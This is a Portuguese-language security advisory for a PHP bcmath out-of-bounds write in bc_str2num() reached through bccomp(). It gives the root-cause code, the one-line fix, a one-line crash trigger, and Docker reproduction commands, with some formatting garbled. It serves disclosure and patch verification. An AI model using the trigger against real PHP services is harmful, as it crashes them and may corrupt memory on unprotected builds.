
CVE-2026-17544 — gravação fora dos limites (stack smashing) em bccomp() do bcmath do PHP. Verificado: crash nas versões 8.4.23/8.5.8, corrigido na 8.4.24. GHSA-x692-q9x7-8c3f
bccomp() do PHP bcmath (Stack Smashing)CVSS 9.8 (Crítico) · CWE-787 · GHSA-x692-q9x7-8c3f
bc_str2num() em ext/bcmath/libbcmath/src/str2num.c (libbcmath embutido, PHP 8.4+) contém uma
gravação fora dos limites do tipo off-by-N. Quando a scale fornecida pelo usuário é menor que a
escala automática do operando, a fração é truncada e então uma remoção de zeros à direita é executada
sem atualizar fractional_end. O buffer é alocado para o tamanho reduzido (mais curto), mas a
cópia usa o tamanho sem remoção → estouro de buffer heap/stack.
Afetados: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9
Corrigido: PHP 8.4.24 / 8.5.9 (2026-07-30), commit fa18dab73f93 /
Recep Asan (recepasan)
ce2ec8a70755// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end; // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale) // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end) // copies UNTRIMMED length
A correção de uma linha (fractional_end = fractional_new_end;) mais o teste de regressão
ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt foram mesclados nas versões 8.4.24/8.5.9.
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
| Compilação | Resultado |
|---|---|
PHP 8.4.23 (vulnerável, Docker php:8.4.23-cli + bcmath) | 💥 *** stack smashing detected ***, exit 133 (SIGABRT) |
| PHP 8.5.8 (vulnerável) | 💥 igual — aborto determinístico |
PHP 8.4.24 (corrigido, php:8.4.24-cli) | ✅ int(1), exit 0 |
Verificado em 2026-08-12 em um Raspberry Pi 5 (arm64) via Docker.
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)
# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0
bccomp()
pode ser derrubado de forma determinística (8.4/8.5, compilações com stack protector abortam;
compilações sem proteção corrompem registradores/endereço de retorno salvos).fa18dab73f93 · Correção 8.5: ce2ec8a70755